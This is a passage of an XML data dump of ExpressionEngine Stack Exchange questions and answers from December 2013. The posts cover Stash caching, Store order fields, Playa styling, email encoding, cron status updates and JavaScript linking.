--}&#xA;          {embed=&quot;temp-group/.standard&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        {/case}&#xA;      {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above assumes that &lt;code&gt;{category_url_title}&lt;/code&gt; will not leave whitespace before/after it.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-12-05T19:47:04.060" LastActivityDate="2013-12-05T19:47:04.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17368" PostTypeId="2" ParentId="17363" CreationDate="2013-12-03T20:10:07.057" Score="3" Body="&lt;p&gt;If you map the form fields by going to Store &gt; Settings &gt; Order Fields and map each of the order fields to your respected member profile fields as seen in the screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RDfYc.png&quot; alt=&quot;Order Fields&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:first_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:billing_state}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to have the value populated automatically on return visits for that member but also will persist through page loads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Adrian mention in the comments you need to empty your cart anytime you make changes to your member data as it is only loaded once.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-12-03T22:04:52.327" LastActivityDate="2013-12-03T22:04:52.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17369" PostTypeId="1" CreationDate="2013-12-03T20:43:26.560" Score="1" ViewCount="70" Body="&lt;p&gt;I am trying to set up a product filter where I can filter by: Store location, type of product, and price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 36 retails locations in total, and only want to display products that have a greater quantity then 0. The only things that changes from location to location is the quantity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the module &quot;reefine&quot; before for something similar, but don't believe it would work in this case. As i am importing the information from a &quot;.csv&quot; file using the module &quot;data grab&quot;, which needs its own channel field for each row in the .csv file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show the quantity of product X, at retail location Y. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking modules might not be the way to go for this project. Just wanted to ask and see if anyone has run into something similar. &lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-12-03T23:25:46.457" Title="Has anyone had experience filtering products, based on the quantity at a retail location?" Tags="|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17370" PostTypeId="1" AcceptedAnswerId="17390" CreationDate="2013-12-03T21:05:43.993" Score="2" ViewCount="150" Body="&lt;p&gt;So building on the answers from &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17178/stash-saving-on-get-and-set-performance-benefits&quot;&gt;my previous question&lt;/a&gt;, I'm trying to cache the main navigation on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the principle is to cache everything in one big chunk and then use the &lt;code&gt;stash:nocache&lt;/code&gt; tag to except the conditionals used for the active state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant part of my code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;full_nav_cache&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; output=&quot;yes&quot; save=&quot;yes&quot; refresh=&quot;180&quot; replace=&quot;no&quot; scope=&quot;site&quot;}&#xA;    {exp:navee:custom nav_title=&quot;main-nav&quot; wrap_type=&quot;none&quot;}&#xA;        &amp;lt;li class=&quot;{stash:nocache}{if '{site_url}{segment_1}/' == {/stash:nocache}'{link}'{stash:nocache}}selected{/if}{/stash:nocache}&quot;&amp;gt;&#xA;    {/exp:navee:custom}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it seems like the &lt;code&gt;{segment_1}&lt;/code&gt; variable is still parsed when the cache is saved. In the database I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;{if '{site_url}/products/' == 'http://mysite.com/products/'}selected{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I was expecting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;{if '{site_url}{segment_1}/' == 'http://mysite.com/products/'}selected{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would then get parsed on the page load. Is the the expected behavior?&lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-12-04T10:03:06.467" Title="Stash cache site navigation from nav:ee" Tags="|stash|cache|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17371" PostTypeId="2" ParentId="17325" CreationDate="2013-12-03T21:17:21.173" Score="2" Body="&lt;p&gt;In my &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;themes/cp_themes/default/css/override.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;file I added the following to control the horizontal sizing of the Playa single-select drop-down field to have up to 300px width. Would love to hear of a better method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Make the Playa single select drop down fields wider.&#xA; *&#xA; * From http://expressionengine.stackexchange.com/a/17327/2436&#xA; *&#xA; * The fields have a restricted width despite the amount of screen&#xA; * space that is available. This causes the selected item to be truncated&#xA; * with ellipsis. When we use a long naming convention with our channel&#xA; * entries and then use the single-select Playa drop down layout, the&#xA; * string is truncated - not useful if it is the right hand end that&#xA; * has the distinguishing information.&#xA; *&#xA; * The approach is to style the various fields at 100% to occupy the&#xA; * available screen width, but then restrict the width to a reasonable&#xA; * maximum value. Your definition of &quot;reasonable maximum value&quot; will&#xA; * vary.&#xA; *&#xA; * Note that some elegance has been lost with the drop-down arrow&#xA; * being pushed to the edge of the outer bordered box with no padding.&#xA; * This works good enough for now.&#xA; */&#xA;&#xA;/*  The outer box that is drawn around the drop dwn field */&#xA;.playa-ss {width: 100% !important; max-width: 300px; }&#xA;&#xA;&#xA;/* The publish/edit screen is first drawn.&#xA; *&#xA; * This is the selected text when the screen is first drawn with an already&#xA; * selected entry. We need to allow each level to be as wide as possible&#xA; * but not be too wide.&#xA; */&#xA;.playa-ss table td.playa-ss-input                        {width: 100% !important; max-width: 300px; }&#xA;.playa-ss table td.playa-ss-input li.playa-dp-selected   {width: 100% !important; max-width: 300px; }&#xA;.playa-ss table td.playa-ss-input li.playa-dp-selected a {width: 100% !important; max-width: 300px; }&#xA;&#xA;&#xA;/* The user clicks on the field to make a choice.&#xA; *&#xA; * When the drop-down field is expanded the available values&#xA; * are contained within a &amp;lt;ul&amp;gt; list within a playa-ss-entries&#xA; * division. Make sure that the drop down has the same width&#xA; * so that we can see the choices without line wrapping.&#xA; */&#xA;div.playa-ss-entries { width: 100%; max-width: 300px; }&#xA;&#xA;&#xA;/* A choice has been made (but not yet saved).&#xA; *&#xA; * When the item has been selected the DOM is changed to&#xA; * have a playa-entry list item that contains the anchor&#xA; * that has the label text of the item selected.&#xA; */&#xA;.playa-ss table td.playa-ss-input                        {width: 100% !important; max-width: 300px; }&#xA;.playa-ss table td.playa-ss-input li.playa-entry         {width: 100% !important; max-width: 300px; }&#xA;.playa-ss table td.playa-ss-input li.playa-entry       a {width: 100% !important; max-width: 300px; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2013-12-03T21:17:21.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17372" PostTypeId="1" CreationDate="2013-12-03T21:33:13.387" Score="-3" ViewCount="99" Body="&lt;p&gt;I am unable to upload images to my site. I haven't made any significant changes to it lately and was able to successfully do it before. How can this be fixed please?&lt;/p&gt;&#xA;" OwnerUserId="2441" LastActivityDate="2013-12-04T10:44:50.903" Title="Uploading images" Tags="|file-uploads|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17373" PostTypeId="1" AcceptedAnswerId="17375" CreationDate="2013-12-03T22:09:56.130" Score="2" ViewCount="408" Body="&lt;p&gt;I'm working on a site that will have various email addresses entered within paragraphs of text in channel entries by the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These email address are automatically turned into links by EE which is great, but I'm struggling to find a way to protect these email addresses from spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard that EE can do this but have struggled to find any information about how to set EE to do this automatically without using the 'encode' tag (which is going to be too complex for the client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know how to set EE to protect or encrypt email addresses contained within channel entries automatically? Or alternatively, does anyone know of any plugins that might help?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, any thoughts or ideas are appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2015-04-28T20:14:11.407" Title="How to encode emails contained within channel entries automatically?" Tags="|channel-entries|email|spam|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17374" PostTypeId="2" ParentId="17235" CreationDate="2013-12-03T23:02:49.647" Score="2" Body="&lt;p&gt;I just tested an IE8 page load using IE Tester with WYGWAM 3.2.1 installed and there wasn't an error. WYGWAM is at version 3.2.2 as of Nov 13, 2013 so I'd suggest an upgrade as the first step. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-03T23:13:21.937" LastActivityDate="2013-12-03T23:13:21.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17375" PostTypeId="2" ParentId="17373" CreationDate="2013-12-03T23:19:36.220" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;WYGWAM&lt;/strong&gt;&lt;/a&gt; field has this setting option. I just used it on my last project. Worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5blxV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-03T23:19:36.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17376" PostTypeId="1" CreationDate="2013-12-03T23:25:33.207" Score="1" ViewCount="130" Body="&lt;p&gt;Does the Solspace Importer support the new EE Grid field? I didn't see it mentioned anywhere in the documentation, only the Matrix field. If yes - any documentation available?&lt;/p&gt;&#xA;" OwnerUserId="2442" LastActivityDate="2014-03-04T23:53:53.873" Title="Solspace Importer Grid field" Tags="|matrix|solspace|grid|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17377" PostTypeId="2" ParentId="17369" CreationDate="2013-12-03T23:25:46.457" Score="2" Body="&lt;p&gt;Sounds like &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#numeric-matching&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Numeric Matching&lt;/strong&gt;&lt;/a&gt; with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;search=&quot;&quot;&lt;/strong&gt;&lt;/a&gt; parameter may help. This is a parameter for the &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you have a field containing numeric data, you may use greater-than&#xA;  or less-than operators to search through them.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;search:numeric_field=&quot;&amp;lt;20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&gt;20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&amp;lt;=20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&gt;=20&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you need complete search functionality these are the two search addons to check out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/super_search/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to read their docs to make sure they do exactly what you need.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-03T23:25:46.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17378" PostTypeId="2" ParentId="17350" CreationDate="2013-12-03T23:26:15.240" Score="2" Body="&lt;p&gt;At a glance your code looks fine to me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;http://www.solspace.com/docs/user/change_log/&quot; rel=&quot;nofollow&quot;&gt;the change log for User&lt;/a&gt; module you'll see many changes relating to passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixed a bug where edit_profile was xss cleaning password_confirm and&#xA;current_password, unintentionally disallowing ampersands and other&#xA;special characters in passwords.&lt;/li&gt;&#xA;&lt;li&gt;Fixed a bug where the Register and Edit tags were messing up&#xA;passwords containing ampersands.&lt;/li&gt;&#xA;&lt;li&gt;Fixed a bug where ampersands in passwords would cause issues from&#xA;User&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Perhaps you should update and see if the issue persists.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-12-03T23:26:15.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17379" PostTypeId="2" ParentId="17355" CreationDate="2013-12-03T23:34:42.817" Score="3" Body="&lt;p&gt;There isn't really an elegant way to do this... All ways are &quot;creative&quot;. Using the conditional to exclude is the easiest way IMO because it only affects that template.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-03T23:34:42.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17380" PostTypeId="1" AcceptedAnswerId="17381" CreationDate="2013-12-04T00:50:48.563" Score="1" ViewCount="129" Body="&lt;p&gt;I need to create a plugin to conditionally update the status on all entries in a channel each day based on a date field. I don't think I need to interact with a template in this case, so would want to call the plugin directly via cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for are any example plugins that might lessen my learning curve in how to get and loop through all entries from a channel and conditionally update the status based on the date?&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="197" LastEditDate="2013-12-04T00:59:18.950" LastActivityDate="2013-12-05T13:07:52.490" Title="Plugin to conditionally update status via cron" Tags="|add-on|add-on-development|plugin|cron|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17381" PostTypeId="2" ParentId="17380" CreationDate="2013-12-04T00:59:08.073" Score="3" Body="&lt;p&gt;You would actually want to use a module for this, so that you can have an action ID associated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module development documentation section about the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html#install&quot; rel=&quot;nofollow&quot;&gt;install method&lt;/a&gt; mentions how to setup action IDs, which basically allow you to load &lt;code&gt;http://yourdomain.com?ACT=123&lt;/code&gt; from a cron job and run a method from your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you simply need to build out your module method. It sounds like your operation is fairly simple, and so you can probably just use the CodeIgniter &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;active record class&lt;/a&gt; to query for the correct entries to deal with and then update the statuses accordingly.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-04T00:59:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17382" PostTypeId="2" ParentId="17380" CreationDate="2013-12-04T01:54:34.113" Score="2" Body="&lt;p&gt;An alternative: if you're comfortable having a script outside of EE access your database, you could write a simple-ish SQL update statement, and have your cron run that script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_channel_titles&#xA;set status = 'new status'&#xA;where entry_date &amp;gt; 1385943600 and channel_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using a &quot;custom&quot; field for the date, then you'll need to do a join, like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_channel_titles a join exp_channel_data b &#xA;on a.entry_id = b.entry_id&#xA;set a.status = 'new status'&#xA;where b.field_id_123 &amp;gt; 1385943600 and a.channel_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your field_id_123 will be the internal name of your custom field--it's just the field's ID number tacked on to field_id_.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP for accessing the database (again, outside of EE), looks something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = new mysqli($db_hostname, $db_username, $db_password, $db_name);&#xA;if ($db-&amp;gt;connect_errno) {&#xA;   die('Failed to connect to DB');&#xA;}&#xA;&#xA;$query = &quot;YOUR SQL UPDATE STATEMENT&quot;;&#xA;&#xA;$db-&amp;gt;query($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-12-04T01:54:34.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17383" PostTypeId="1" CreationDate="2013-12-04T03:39:11.460" Score="1" ViewCount="134" Body="&lt;p&gt;Is there a way to filter &lt;code&gt;{exp:channel:entries}&lt;/code&gt; based on the number of rows in a Grid field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-04T13:29:08.470" Title="Grid Field Count Search in Channel Entries" Tags="|channel-entries|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17384" PostTypeId="1" CreationDate="2013-12-04T04:35:17.267" Score="0" ViewCount="379" Body="&lt;p&gt;I'm having two separate &lt;strong&gt;no_results&lt;/strong&gt; problems with Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, if I visit a page that doesn't have a corresponding last segment using the code below, the page displays stuff like &lt;code&gt;{2e1acf078c376a119e542c46883a119f33292409}&lt;/code&gt; and nothing else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;layouts:global&quot;}&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;site&quot;&#xA;    url_title=&quot;{last_segment}&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;    {exp:stash:set name=&quot;st_content&quot; type=&quot;snippet&quot;}&#xA;        {body}&#xA;    {/exp:stash:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in another template, the switchee_no_results doesn't redirect to the 404 template, it just displays a page with a blank content area. I've also tried just plain no_results and also settings a prefix parameter on the get_list tag. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;layouts:global&quot;}&#xA;&#xA;{exp:stash:set_list&#xA;    name=&quot;project_list&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;projects&quot;&#xA;        disable=&quot;member_data|pagination|trackbacks&quot;&#xA;        {if segment_2==&quot;detail&quot;}url_title=&quot;{last_segment}&quot;{/if}&#xA;    }&#xA;&#xA;        {stash:project_url_title}&#xA;            {url_title}&#xA;        {/stash:project_url_title}&#xA;&#xA;        {stash:project_detail}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {project_text}&#xA;        {/stash:project_detail}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set name=&quot;st_content&quot; type=&quot;snippet&quot;}&#xA;&#xA;    {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {!-- Landing page --}&#xA;        {case value=&quot;&quot;} … {/case}&#xA;&#xA;        {!-- Detail page --}&#xA;        {case value=&quot;detail&quot;}&#xA;&#xA;        {exp:stash:get_list&#xA;            name=&quot;project_list&quot;&#xA;            match=&quot;#{segment_3}#&quot;&#xA;            against=&quot;project_url_title&quot;&#xA;            parse_conditionals=&quot;yes&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;            process=&quot;end&quot;&#xA;        }&#xA;&#xA;        {if switchee_no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;        {project_detail}&#xA;&#xA;        {/exp:stash:get_list}&#xA;&#xA;        {/case}&#xA;&#xA;    {/exp:switchee}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why that might be?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-11-12T19:20:40.353" Title="Stash no_results problems" Tags="|stash|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17385" PostTypeId="1" AcceptedAnswerId="17432" CreationDate="2013-12-04T07:00:41.137" Score="1" ViewCount="60" Body="&lt;p&gt;please help me ... i'm nubiew on EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to display the latest article on the front page, so I want each of my finished publishing my article and the article was immediately appear on the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to change this into a recent article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul class=&quot;bloglist-small&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;div class=&quot;date-box&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;day&quot;&amp;gt;28&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;month&quot;&amp;gt;SEP&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;txt&quot;&amp;gt;&#xA;                                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Lorem ipsum sit amet&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                                &amp;lt;span class=&quot;read&quot;&amp;gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;info&quot;&amp;gt;Sept 23, 2013 | &amp;lt;a href=&quot;#&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;div class=&quot;date-box&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;day&quot;&amp;gt;24&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;month&quot;&amp;gt;SEP&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;txt&quot;&amp;gt;&#xA;                                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Lorem ipsum sit amet&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                                &amp;lt;span class=&quot;read&quot;&amp;gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;info&quot;&amp;gt;Sept 23, 2013 | &amp;lt;a href=&quot;#&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;div class=&quot;date-box&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;day&quot;&amp;gt;20&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;month&quot;&amp;gt;SEP&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;txt&quot;&amp;gt;&#xA;                                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Lorem ipsum sit amet&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                                &amp;lt;span class=&quot;read&quot;&amp;gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span class=&quot;info&quot;&amp;gt;Sept 23, 2013 | &amp;lt;a href=&quot;#&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/djqTl.gif&quot; alt=&quot;danchindia screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is my web  danchindia.com&lt;/p&gt;&#xA;" OwnerUserId="2446" LastActivityDate="2013-12-05T01:29:57.243" Title="how to show my recent post on home?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17386" PostTypeId="1" AcceptedAnswerId="17397" CreationDate="2013-12-04T08:25:04.900" Score="2" ViewCount="3130" Body="&lt;p&gt;I'm having a problem linking a javascript file to my template. I'm using the standard tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{template_root}site_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where {template_root} is the location of my template files. I have tested this URL (stored as a global variable} for accuracy. For testing purposes, my site_script.js file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( document ).ready(function() {&#xA;    alert( &quot;ready!&quot; );&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However no dialogue is popping up. I took a look in the console log and it says &quot;&lt;strong&gt;ReferenceError: Can't find variable: $&lt;/strong&gt;&quot;. I'm really at a loss here and I would appreciate if someone can show me where I may have made an error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is necessary or helpful, but here is my index template file for context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Force proper sizing --&amp;gt;&#xA;        &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Styles that require EE Template Tag Parsing --&amp;gt;&#xA;        {exp:channel:entries channel=&quot;preferences&quot;}&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            body {background-image:url('{background_image}');}&#xA;            .color {color: #{primary_highlight_color};}&#xA;            .color_bg {background-color: #{primary_highlight_color};}&#xA;            .nav_circle {background-color:rgba(0,0,0,{nav_opacity_unselected});}&#xA;        &amp;lt;/style&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&#xA;        &amp;lt;!-- TypeKit Scripts  --&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;//use.typekit.net/yjd5vpe.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script 